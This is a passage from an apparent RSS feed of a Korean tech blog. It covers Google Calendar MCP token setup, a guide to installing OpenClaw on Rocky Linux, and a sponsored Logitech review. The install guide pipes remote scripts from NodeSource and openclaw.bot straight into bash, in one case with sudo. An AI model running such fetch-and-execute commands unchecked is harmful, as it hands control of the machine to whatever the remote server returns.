data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등록 후에는 OpenClaw에서도 연동이 된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;1002&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNTZG3/dJMcaaD8Yjq/2rjK7GkuCQZQZ4xs57jcsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNTZG3/dJMcaaD8Yjq/2rjK7GkuCQZQZ4xs57jcsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNTZG3/dJMcaaD8Yjq/2rjK7GkuCQZQZ4xs57jcsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNTZG3%2FdJMcaaD8Yjq%2F2rjK7GkuCQZQZ4xs57jcsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;540&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;1002&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. 헤드리스 환경 요약&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;브라우저가 없는 서버에서는:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;브라우저 있는 PC&lt;/b&gt;에서 &lt;code&gt;npx @cocal/google-calendar-mcp auth&lt;/code&gt; 실행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;PC의 &lt;code&gt;~/.config/google-calendar-mcp/tokens.json&lt;/code&gt;을 서버로 복사&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;mcporter에 등록할 때 &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;를 &lt;b&gt;복사한 파일의 실제 경로&lt;/b&gt;로 설정&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;7. 마치며&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;mcporter에 Google Calendar MCP를 등록할 때는 &lt;code&gt;GOOGLE_OAUTH_CREDENTIALS&lt;/code&gt;와 &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;가 &lt;b&gt;실제 파일 위치&lt;/b&gt;와 일치하는지 반드시 확인해야 한다. &lt;code&gt;GOOGLE_CALENDAR_MCP_TOKEN_PATH&lt;/code&gt;를 존재하지 않는 파일로 지정하면 토큰을 읽지 못해 인증 오류가 발생한다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Side Project/AI Powered</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/311</guid>
      <comments>https://gomguk.tistory.com/311#entry311comment</comments>
      <pubDate>Sun, 1 Feb 2026 15:26:04 +0900</pubDate>
    </item>
    <item>
      <title>OpenClaw 설치 및 리뷰</title>
      <link>https://gomguk.tistory.com/310</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenClaw(오픈클로)는 AI 에이전트를 다양한 채널(Telegram, Discord, Slack 등)과 연동하여 운영할 수 있는 플랫폼이다. 공식 문서에 따르면 Node.js 22 이상이 필수 요구사항이다. Rocky Linux, RHEL 8, CentOS 8 같은 RPM 기반 배포판에서는 기본 AppStream 리포지토리의 Node.js 버전이 10대인 경우가 많아, 별도 설정 없이는 설치가 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 Rocky Linux 환경에서 OpenClaw를 설치&amp;middot;운영하기 위한 &lt;b&gt;사전 준비&lt;/b&gt;를 수행한 과정을 정리한 것이다. 동일 환경에서 재설치하거나, 다른 사용자에게 설치 방법을 안내할 때 참고할 수 있도록 작성하였다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 요구사항&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;버전/사양&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Node.js&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;22 이상 (LTS 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;패키지 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;npm, pnpm, 또는 bun&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;OS&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Rocky Linux / RHEL 8 / CentOS 8 (macOS, Windows WSL2도 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;RAM&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;최소 4GB (8GB+ 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;저장공간&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;최소 2GB (10GB+ 권장)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 사전 준비 작업&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 기존 Node.js 버전 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 설치된 Node.js 버전을 확인한다.&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;node --version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;v10.x.x&lt;/code&gt; 또는 그 이하가 출력된다면 NodeSource를 통해 Node.js 22를 설치해야 한다. &lt;b&gt;주의:&lt;/b&gt; AppStream의 Node.js 10과 NodeSource의 Node.js 22는 동시에 설치할 수 없으며, 기존 Node.js를 제거한 후 새 버전을 설치해야 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 자동 설치 (권장)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트에 포함된 스크립트를 실행하면 빌드 도구, Git, Node.js 22가 순서대로 설치된다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;./scripts/setup-prerequisites.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;211&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccdp6F/dJMcahJ3kx4/rcV2JDkjhFURPK8NyZcPXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccdp6F/dJMcahJ3kx4/rcV2JDkjhFURPK8NyZcPXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccdp6F/dJMcahJ3kx4/rcV2JDkjhFURPK8NyZcPXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fccdp6F%2FdJMcahJ3kx4%2FrcV2JDkjhFURPK8NyZcPXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;541&quot; height=&quot;211&quot; data-origin-width=&quot;541&quot; data-origin-height=&quot;211&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트가 수행하는 작업:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;gcc-c++&lt;/code&gt;, &lt;code&gt;make&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;git&lt;/code&gt; 설치&lt;/li&gt;
&lt;li&gt;기존 Node.js 10 제거 (있는 경우)&lt;/li&gt;
&lt;li&gt;NodeSource Node.js 22 리포지토리 설정&lt;/li&gt;
&lt;li&gt;Node.js 22 설치&lt;/li&gt;
&lt;li&gt;설치 결과 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.3 수동 설치&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 기존 Node.js 10(AppStream)이 설치된 경우&lt;br /&gt;NodeSource Node.js 22와 충돌하므로, 먼저 sudo dnf remove -y nodejs npm 후 진행해야 한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;# 1. 빌드 도구 및 Git
sudo dnf install -y gcc-c++ make curl git

# 2. 기존 Node.js 제거 (v10인 경우)
sudo dnf remove -y nodejs npm
sudo dnf module reset -y nodejs

# 3. NodeSource Node.js 22 리포지토리 설정
curl -fsSL https://rpm.nodesource.com/setup_22.x | sudo bash -

# 4. Node.js 설치
sudo dnf install -y nodejs --allowerasing

# 5. 확인
node --version   # v22.x.x
npm --version   # 10.x.x&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 트러블슈팅&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 &quot;cannot install both nodejs&quot; 충돌 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;증상:&lt;/b&gt; &lt;code&gt;dnf install nodejs&lt;/code&gt; 실행 시 &lt;code&gt;cannot install both nodejs-1:10.24.0... and nodejs-2:22.x.x&lt;/code&gt; 오류 발생.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; AppStream의 Node.js 10과 NodeSource의 Node.js 22가 동시에 설치될 수 없음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 기존 nodejs, npm 패키지를 먼저 제거한 후 설치한다.&lt;/p&gt;
&lt;pre class=&quot;gml&quot;&gt;&lt;code&gt;sudo dnf remove -y nodejs npm
sudo dnf module reset -y nodejs
curl -fsSL https://rpm.nodesource.com/setup_22.x | sudo bash -
sudo dnf install -y nodejs --allowerasing&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 npm EACCES 권한 오류&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;증상:&lt;/b&gt; &lt;code&gt;npm install -g openclaw&lt;/code&gt; 실행 시 &lt;code&gt;EACCES&lt;/code&gt;, &lt;code&gt;mkdir&lt;/code&gt; 관련 권한 오류 발생.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; npm 글로벌 prefix를 사용자 디렉터리로 변경한다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;mkdir -p ~/.npm-global
npm config set prefix ~/.npm-global
echo 'export PATH=~/.npm-global/bin:$PATH' &amp;gt;&amp;gt; ~/.bashrc   # bash 사용 시
# echo 'export PATH=~/.npm-global/bin:$PATH' &amp;gt;&amp;gt; ~/.zshrc  # zsh 사용 시
source ~/.bashrc   # 또는 source ~/.zshrc&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.3 openclaw 명령어를 찾을 수 없음&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;증상:&lt;/b&gt; 설치 후 &lt;code&gt;openclaw&lt;/code&gt; 명령어를 실행할 수 없음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 새 터미널을 열거나, npm prefix의 bin 경로가 PATH에 포함되었는지 확인한다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;npm config get prefix
# 출력된 경로/bin 이 PATH에 있어야 함
which node&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. OpenClaw 설치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사전 준비가 완료되면 OpenClaw를 설치한다.&lt;/p&gt;
&lt;pre class=&quot;cmake&quot;&gt;&lt;code&gt;# npm 글로벌 설치
npm install -g openclaw@latest

# 온보딩 (게이트웨이, 워크스페이스 설정)
openclaw onboard --install-daemon&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;원클릭 설치 (Node 포함)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Node.js가 전혀 없는 환경에서 한 번에 설치하고 싶다면 공식 설치 스크립트를 사용할 수 있다. 이 스크립트는 Linux에서 NodeSource를 통해 Node.js 22를 설치한 뒤 openclaw를 설치한다.&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;curl -fsSL https://openclaw.bot/install.sh | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmyNw1/dJMcaaqBPnl/8XrKmMnlS3uBPkuyKE0x6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmyNw1/dJMcaaqBPnl/8XrKmMnlS3uBPkuyKE0x6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmyNw1/dJMcaaqBPnl/8XrKmMnlS3uBPkuyKE0x6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmyNw1%2FdJMcaaqBPnl%2F8XrKmMnlS3uBPkuyKE0x6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;710&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 마치며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rocky Linux 환경에서 AppStream의 Node.js 10과 NodeSource의 Node.js 22 간 충돌을 해결한 뒤 OpenClaw 사전 준비를 완료했다. 동일한 RPM 기반 배포판을 사용하는 환경에서도 위 순서대로 진행하면 설치가 가능할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 채널 연동(Telegram, Discord 등), 에이전트 설정, 스킬 설치 등은 공식 문서(&lt;a href=&quot;https://docs.clawd.bot&quot;&gt;docs.clawd.bot&lt;/a&gt;)를 참고하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Side Project/AI Powered</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/310</guid>
      <comments>https://gomguk.tistory.com/310#entry310comment</comments>
      <pubDate>Sat, 31 Jan 2026 18:32:02 +0900</pubDate>
    </item>
    <item>
      <title>한 달 동안 함께한 로지텍 키보드와 마우스 이야기</title>
      <link>https://gomguk.tistory.com/309</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 제품을 구매하기 전에 한 달 사용 후기를 꼭 찾아보는 편인데요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물건을 구매할 때 디자인이나 무게, 기능의 포함 여부가 첫인상이라면, 실제 사용자의 한달 후기가 제 진짜 경험이 되는 경우가 많아서 참고하고 있어요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 남겨보는 제 로지텍 제품 한 달 후기입니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 컨설턴트라는 직무 특성상 하루에도 여러 대의 PC를 오가고, 고객사 환경에 맞춰 작업 흐름을 계속 전환해야 하다 보니 입력 장치의 중요성을 더 크게 느끼고 있는데요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 사용 중인 Signature Slim Solar+ K980 키보드와 MX Master 4 마우스는 그런 일상 속에서 한 달간 거의 매일 사용해 본 장비들입니다. 단기간 체험이 아니라, 실제 업무 환경에서 충분히 써 본 후 느낀 점을 정리해보고자 합니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;CROP_2.png&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;2936&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cR4uUa/dJMcaa48Rr6/juvC7WxAAId57GMsbvc9tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cR4uUa/dJMcaa48Rr6/juvC7WxAAId57GMsbvc9tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cR4uUa/dJMcaa48Rr6/juvC7WxAAId57GMsbvc9tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcR4uUa%2FdJMcaa48Rr6%2FjuvC7WxAAId57GMsbvc9tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;499&quot; data-filename=&quot;CROP_2.png&quot; data-origin-width=&quot;4284&quot; data-origin-height=&quot;2936&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Signature Slim Solar+ K980 &amp;ndash; 충전 걱정을 잊게 만든 키보드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;K980을 사용하면서 가장 크게 체감한 부분은 단연 배터리 스트레스가 사라졌다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 달 정도 사용했지만 배터리를 의식한 적이 한 번도 없었다. 태양광 기반 충전이라는 특성 덕분에 책상 위에 올려두고 사용하는 것만으로도 충분했고, &amp;ldquo;언제 충전하지?&amp;rdquo;라는 생각 자체를 하지 않게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼에도 불구하고 키감은 기존 로지텍 키보드의 감성을 그대로 유지하고 있다. 얇은 키보드 특유의 가벼움은 있으면서도, 입력이 튀거나 불안정하다는 느낌은 없었다. 장시간 문서 작업이나 코드 리뷰를 할 때에도 피로도가 낮은 편이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또 하나 만족스러운 부분은 멀티 디바이스 전환의 편의성이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨설턴트 업무를 하다 보면 개인 PC뿐 아니라 고객사 제공 노트북, 테스트용 장비 등 다양한 운영체제와 단말을 다루게 된다. K980은 복잡한 키 조합 없이 버튼 하나로 페어링 전환이 가능해, 작업 흐름이 끊기지 않는다는 점이 인상적이었다. 단순해 보이지만 실제 업무에서는 이런 사소한 차이가 꽤 크게 느껴진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;MX Master 4 &amp;ndash; 익숙함 위에 쌓인 미묘한 개선&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;CROP_1.png&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;1063&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdmkbd/dJMcafL9PTv/lH05OwQFsKahUEDd7W6Us0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdmkbd/dJMcafL9PTv/lH05OwQFsKahUEDd7W6Us0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdmkbd/dJMcafL9PTv/lH05OwQFsKahUEDd7W6Us0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdmkbd%2FdJMcafL9PTv%2FlH05OwQFsKahUEDd7W6Us0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;613&quot; data-filename=&quot;CROP_1.png&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;1063&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MX Master 4를 처음 잡았을 때의 느낌은 &amp;ldquo;익숙하다&amp;rdquo;였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 달간 사용해 본 결과, 셸의 형태나 무게 중심은 MX Master 3와 거의 동일해 기존 사용자라면 이질감 없이 바로 적응할 수 있다. 손에 쥐었을 때의 안정감도 그대로 유지되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 가장 눈에 띄는 변화는 손바닥이 닿는 상단 재질이다. 기존의 고무 재질이 아닌, 고급스러운 플라스틱 계열로 변경되었는데, 이로 인해 고무가 밀리거나 손때가 타는 현상이 거의 없다. 장시간 사용해도 깔끔함이 유지된다는 점에서 개인적으로는 꽤 만족스러운 변화였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페어링 속도 역시 인상적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 기기를 등록할 때 마우스의 페어링 버튼을 누르자마자 노트북에서 즉시 알림이 뜨고, 주변에서 함께 작업하던 동료들의 PC에도 실시간으로 연결 알림이 갈 정도였다. 이전 세대 대비 체감될 만큼 빠른 반응 속도는 분명한 장점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;횡스크롤 휠의 위치 변경도 흥미로운 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MX Master 3에서는 버튼이 비교적 안쪽에 있어 한 번에 스크롤할 수 있는 양이 제한적이었다면, 4에서는 휠이 바깥으로 더 노출되어 있어 한 번의 동작으로 더 많은 스크롤이 가능하다. 아주 미묘한 변화지만, 엑셀이나 로그 분석처럼 좌우 이동이 잦은 작업에서는 작업 만족도가 확실히 올라간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한편, 액션 링 기능은 아직 적응 중이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 직접 커스터마이징할 수 있는 영역이 크게 확장된 점은 분명 장점이지만, 그만큼 시간을 들여 플로우를 직접 구성해야 한다는 점이 심리적 장벽으로 느껴지기도 한다. 기본 프리셋 외에도 커뮤니티에서 더 많은 실사용 예제와 프리셋이 공유된다면 활용도가 더 높아질 것 같다는 생각이 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;한 달 사용 총평&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 제품 모두 &amp;ldquo;새롭다&amp;rdquo;기보다는, 일상적인 불편을 하나씩 덜어주는 방향으로 완성도가 높아진 느낌이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;충전 걱정 없는 키보드, 익숙하지만 더 쾌적해진 마우스 조합 덕분에 입력 장치로 인한 스트레스는 확실히 줄어들었다. 장비를 의식하지 않고 업무 자체에 집중할 수 있다는 점에서 충분히 만족스러운 한 달이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새해를 맞아 작업 환경을 조금 더 정돈하고 싶은 분들에게는, 이 조합이 꽤 좋은 선택지가 될 수 있을 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모두 새해에도 행복하고, 무엇보다 건강하시길 바랍니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이 포스팅은 로지텍에서 제품을 제공받아 실제 사용 후 솔직하게 작성되었습니다.&lt;/blockquote&gt;</description>
      <category>Review</category>
      <category>Logitech</category>
      <category>mxmaster</category>
      <category>MX커뮤니티</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/309</guid>
      <comments>https://gomguk.tistory.com/309#entry309comment</comments>
      <pubDate>Wed, 21 Jan 2026 20:15:57 +0900</pubDate>
    </item>
    <item>
      <title>[Logitech] MX MASTER 4 액션링과 AI로 사전연구 flow 제작기</title>
      <link>https://gomguk.tistory.com/308</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&amp;lsquo;대화형&amp;nbsp;AI&amp;rsquo;에서&amp;nbsp;&amp;lsquo;일하는&amp;nbsp;AI&amp;rsquo;로&amp;nbsp;넘어가기&lt;/span&gt; &lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;br /&gt;&lt;b&gt;1.&amp;nbsp;들어가며&lt;/b&gt; &lt;/h2&gt;
